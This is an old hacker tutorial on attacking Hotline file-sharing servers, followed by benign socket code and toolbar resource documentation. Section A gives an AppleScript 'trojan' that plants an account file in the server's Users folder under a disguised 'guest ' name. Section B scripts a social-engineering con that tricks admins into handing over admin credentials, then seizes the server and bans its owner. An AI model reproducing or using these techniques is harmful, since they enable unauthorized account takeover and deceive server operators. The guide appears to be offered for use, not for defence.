Hotline _____ contents __________ A-Applescript Trojans B-Social Engineering D-The Hotline Socket E-Making ToolBars A Trojans are probably the most boring, and easy to get caught may of hacking hotline. In result, it is the most popular. Most are made up of apple script, and given a name and an icon . The code of the script is pretty simple, and moves a user from the upoads folder into the users folder. I have written a little bit of code to get you started. Tell application "finder" move file "guest " of folder "uploads" of folder "Files" of folder "server folder"of folder "Hotline Server" of startup disk to folder "Users" of folder "Server folder" of folder "Hotline Server" of startup disk End tell That will put the user data , and move it to the users folder. That user will be activated. The reason why you should call it "guest " is so that when the admin gets info on you, it will look like you're a guest . B Social engineering is a lot of fun, especially when it's with clueless people. On hotline, they're easy to find. When you find your target server , change your name and icon to something different than what you usually use. Go in, but be sure not to message anyone. Just look around. Is it a mac server? who hosts it? Is it not as lame as you expected? how old is it? Is a full prived admin stupid? Read the news. Is it a banner server? All of those will help you out when talking to the admin. Now, relogin with a new name and icon. Not the one you had before. Talk to the admin.This is the typical conversation I have when doing this: You-"I think I can help out this server." Him-"really? how???" You-"Your security seems pretty weak. If I wanted to, I could upload a self executable trojan to this server, and as we speak, delete all your files from your hard disk, or make an admin account." Him-"woa!!...what would you use?" You-"Interware's new file-delete/creation system. It's pretty new, but I have a bot that can detect it." Him-"Can you u/l it???!" You-"No...it's still in beta. I will run it off my computer for you, though. I would need an admin account to log it in with..." Him-"Cool!!!l/p??" You- You-The bot won't logon because it needs more privs. It needs a full admin." Him-"oh..ok...sorry. Hold on" Both outcomes Go back on in a while with a guest user, and a new name and icon. If the admin is idle or gone, login with the admin l/p, and make an account "guest " . Don't make him red or unkickable, but all other privs are there. If there is another admin there, login with the admin account/password, and change your name to the admin's. Tell him that he needs to leave "your" server alone, and delete his account. Then ban him. C The hotline protocol's socket is fairly easily made in RB. I have supplied some code for a connect button. It is all the code you need to make the person running the HL Server get a "ba-bing" . Play with it. All you need is a pushbutton, an editfield, and a socket. if .text <> "" then if inStr(.text,":")<> 0 then .Address = nthField(.text,":",1) .Port = val( nthField(.text,":",2) ) else .Address = .text .Port = 5500 end end .Connect D To make a tool bar, you need to make a new document in resedit. Make a pict and a HPTB 128 resource. You need to also open Hotline with resedit while you have the toolbar open and copy the TMPL resource. It is easier to start with a pre-made tool bar, and customize it to how you want it, but I will include the info if you want to start from scratch. "HPTB" Set this field to "HPTB". Version1 Set this field to 1. sideTitleBar If this is set to 1, the titlebar on the toolbar window will appear vertically on the left side of the window. If it is set to 0, it will appear at the top as normal. A side titlebar is good for a window that is wider than it is high. toggleWinVis If this is set to 1, the behavior for "showing" a window gets changed. If the window is hidden, it is shown in front of all others. If the window is visible, it is brought to the front. If it was already at the front, it gets hidden (normally it stays visible). (reserved) It is important that you leave these set to 0. connectPict The ID of the PICT to draw when Hotline is connected (or 0 for none). connectPictR The rectangle (top,left,bottom,right) in pixels to draw the "connectPict" at. height The height of the window in pixels. width The width of the window in pixels. bkgndPict The ID of the PICT to draw as the background into the window. This is the main picture — how the toolbar looks normally. item bounds The rectangle (top,left,bottom,right) in pixels that encloses this item. This rectangle is used to determine if the mouse is within the item, and is used to draw the "mDownPict" in the correct location. item mDownPict The ID of the PICT to draw while mouse is down in this item (while the button on the mouse is pressed and located within the bounds of this item). item mWithinPict The ID of the PICT to draw while mouse is in/over this item (while the mouse is located within the bounds of this item). item mDownAction The action to perform when the mouse goes down in this item (when the button on the mouse is pressed and located within the bounds of this item). See "Action Numbers" following for valid values. item mUpAction The action to perform when the mouse is released in this item (when the button on the mouse was pressed and has just been released within the bounds of this item). See "Action Numbers" following for valid values. item mDownSound When the button on the mouse is pressed over this item, play the sound ("snd ") of this ID. Note that if you add your own "snd " resources, the IDs must be in the range 1000 to 2000. item mUpSound When the button on the mouse is released over this item, play the sound ("snd ") of this ID. Note that if you add your own "snd " resources, the IDs must be in the range 1000 to 2000. item showPicInWin The ID of the PICT to show in a window with an OK button when this item is clicked. Good for credits etc. mDownPictRct Normally, the "mDownPict" gets drawn in the item bounds. You can optionally specify a different rectangle here. mWithinPictR Normally, the "mWithinPict" gets drawn in the item bounds. You can optionally specify a different rectangle here. Action Numbers 0 = do nothing 1 = show options window 2 = show connect window 3 = disconnect 4 = show news window 5 = show post window 6 = show chat window 7 = show files window 8 = show user list window 9 = show tasks window 10 = quit 11 = show about window 12 = show new user window 13 = show open user window 15 = show tracker window